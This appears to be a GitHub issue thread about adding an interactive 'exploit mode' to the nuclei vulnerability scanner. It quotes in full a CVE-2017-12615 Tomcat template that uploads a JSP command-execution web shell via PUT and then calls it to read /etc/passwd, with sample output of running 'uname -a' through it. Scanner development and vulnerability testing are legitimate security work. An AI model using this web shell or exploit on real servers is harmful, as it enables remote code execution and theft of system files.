Add exploit mode

[iiiusky]

Is your feature request related to a problem? Please describe.

I want to add a new exploit mode

Describe the solution you'd like

The verified vulnerabilities can be extended to make them more widely used in more situations

Can you join exp mode:

1. The vars field is added to the rules, the type is map[string]interface{}
2. In the payload, you can use the key defined in vars to control such places as executing commands, reading files, etc.
3. Use vars to predefine default variables in normal mode
4. In the attack mode, the user is guided to manually input data, so that the vulnerability can be used for other verification.

The conceptual verification warehouse is here (except CVE-2017-12615.yaml, I will list it separately)

https://github.com/iiiusky/nuclei/tree/exp-concept

I changed the following files:

1. v2/cmd/nuclei/main.go:88 [New ExploitMode option]
2. v2/pkg/protocols/http/http.go:76 [Add Vars field]
3. v2/pkg/protocols/http/request.go:257 [Add setVars method; add call setVars method]
4. v2/pkg/types/types.go:130 [New ExploitMode option]
5. Nuclei-templates/cves/2017/CVE-2017-12615.yaml:40 [change allowed variables]

The content of the changed file is as follows: https://github.com/iiiusky/nuclei/commit/a4f86d2efcebe2d7681384d595d27731e43dffd6

CVE-2017-12615.yaml file content

id: CVE-2017-12615

info:
  name: Apache Tomcat RCE
  author: pikpikcu
  severity: critical
  tags: cve,cve2017,apache,rce
  reference: https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615
  description: |
        By design, you are not allowed to upload JSP files via the PUT method on the Apache Tomcat servers.
        This is likely a security measure to prevent an attacker from uploading a JSP shell and gaining remote code execution on the server.
        However, due to the insufficient checks, an attacker could gain remote code execution on 7.0.{0 to 79}
        Tomcat servers that has enabled PUT by requesting PUT method on the Tomcat server using a specially crafted HTTP request.

requests:
  - method: PUT
    path:
      - "{{BaseURL}}/poc.jsp/"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: |
        <%@ page import="java.util.*,java.io.*"%>
        <%
        if (request.getParameter("cmd") != null) {
                out.println("Command: " + request.getParameter("cmd") + "<BR>");
                Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
                OutputStream os = p.getOutputStream();
                InputStream in = p.getInputStream();
                DataInputStream dis = new DataInputStream(in);
                String disr = dis.readLine();
                while ( disr != null ) {
                        out.println(disr);
                        disr = dis.readLine();
                        }
                }
        %>

  - method: GET
    path:
      - "{{BaseURL}}/poc.jsp?cmd={{cmd}}"

    vars:
      cmd: cat+%2Fetc%2Fpasswd
    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"
        part: body
      - type: status
        status:
          - 200

[ehsandeep]

Hi @iiiusky,

Thanks for sharing this idea, just wanted to dig more into this, how this is different from existing payload support? for example have a look at this template where you can define a variable and call in the request section -

https://github.com/projectdiscovery/nuclei-templates/blob/8cf0d5e8ac196ff38fee132eadda654709db6c1b/cves/2013/CVE-2013-2251.yaml#L12

[iiiusky]

Hi @ehsandeep , My initial idea was to allow users to customize the value of variables in the exploit mode, such as the yaml modified above. In yaml, the default value of {{cmd}} is cat /etc/passwd, if it is- -exp mode, it will ask what value to assign to cmd. For example, if I want to execute uname -a, I only need to enter uname -a in the query mode of --exp to get the execution of uname -a `The result.

Similar to the following:

[INF] Loading templates...
[INF] [CVE-2017-12615] Apache Tomcat RCE (@pikpikcu) [critical]
[INF] Loading workflows...
[INF] Using 1 rules (1 templates, 0 workflows)

The plug-in supports custom utilization, please enter the value of variable cmd (Command executed): uname -a

[2021-06-17 17:52:19] [CVE-2017-12615] [http] [critical] http://172.16.155.7:8080/poc.jsp?cmd=uname+-a

………………(dump response or filter out the results)

[ehsandeep]

Okay now I get it, so you are looking to add support for taking variable input via CLI at run time?

[iiiusky]

Okay now I get it, so you are looking to add support for taking variable input via CLI at run time?

Yes, so you can make more use in the poc.

[iiiusky]

In fact, in normal mode, use the built-in default value, and in exploit mode, use the value entered in the console

[ehsandeep]

Got it, this should be already supported in - https://github.com/projectdiscovery/nuclei/pull/641 and will be available to use as soon as we finalize the implementation and merge it into the branch.

[iiiusky]

This method seems to require the user to manually specify a variable similar to this format, right? key=value, this is a way, but the more troublesome thing is that you have to manually open the yaml file every time to view its variables. I think interactive input is better under certain circumstances, but if it is in batch automation mode, it is really not Too friendly.

[ehsandeep]

@iiiusky I mean say, the above PR will allow us to feed variable value with user input in CLI and does not require editing template file, it's WIP.

[iiiusky]

The source code of github.com/projectdiscovery/starlight is not open yet, right? I may not be able to express it clearly. What I want to express is that if you run a poc plug-in separately, you can interactively let users enter the values of different variables. In this case, the user does not need to open yaml to see what is available. Variables, in the interaction, will loop all the extracted variable lists, because they are of map[string]interface{} type